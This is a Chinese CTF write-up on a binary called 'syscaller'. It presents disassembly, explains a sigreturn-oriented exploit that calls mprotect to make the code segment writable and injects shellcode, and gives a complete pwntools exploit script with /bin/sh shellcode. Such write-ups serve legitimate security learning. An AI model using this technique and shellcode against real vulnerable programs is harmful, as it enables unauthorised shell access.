.text:00000000004000E0 push rbp
.text:00000000004000E1 mov rbp, rsp
.text:00000000004000E4 sub rsp, 200h
.text:00000000004000EB mov edi, 1
.text:00000000004000F0 mov rsi, offset msg1 ; "Hello and welcome to"...
.text:00000000004000FA mov edx, 3Eh ; '>'
.text:00000000004000FF mov eax, 1
.text:0000000000400104 syscall ; LINUX - sys_write
.text:0000000000400106 mov eax, 0
.text:000000000040010B mov rsi, rsp
.text:000000000040010E mov edi, 0
.text:0000000000400113 mov edx, 200h
.text:0000000000400118 syscall ; LINUX - sys_read
.text:000000000040011A pop r12
.text:000000000040011C pop r11
.text:000000000040011E pop rdi
.text:000000000040011F pop rax
.text:0000000000400120 pop rbx
.text:0000000000400121 pop rdx
.text:0000000000400122 pop rsi
.text:0000000000400123 pop rdi
.text:0000000000400124 syscall ; LINUX -
.text:0000000000400126 mov eax, 3Ch ; '<'
.text:000000000040012B xor rdi, rdi
.text:000000000040012E syscall ; LINUX - sys_exit

可以看到首先sys_write msg1, 然后sys_read读内容到栈上 之后再pop各寄存器后触发syscall

攻击方法

首先想着把str_binsh写到哪里然后执行sys_execve,但查看程序段发现只有栈段是可写的 但是如果用syscall输出泄露栈地址,后面就无法继续控制了

这里想了好久 后面看wp知道mprotect函数也可以syscall执行(rax=10),来改写.text段权限 ,这样就可以让sigFrame的rsp 为.text内的地址 ,rip为0x400104

这样就可以跳回执行syscall调用mprotect更改text段权限,紧接着读内容到text段上,那么我们就可以直接写shellcode了

可以让rsp =0x40011A,这样读完shellcode往下执行的时候就直接执行shellcode了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./syscaller")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

gscript = '''
b * 0x0000000000400113
''' + 'c\n' * 0
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

syscall = 0x0000000000400104

f = SigreturnFrame()
f.rax = 10
f.rdi = 0x00000000400000
f.rsi = 0x1000
f.rip = syscall
f.rdx = 0x7
f.rsp = 0x000000000040011A

pld = p64(0) * 3 + p64(0xf) + p64(0) * 4
pld += bytes(f)

sa(b'perish.', pld)

scode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s(scode)

pi()
pause()
Read More
⬆︎TOP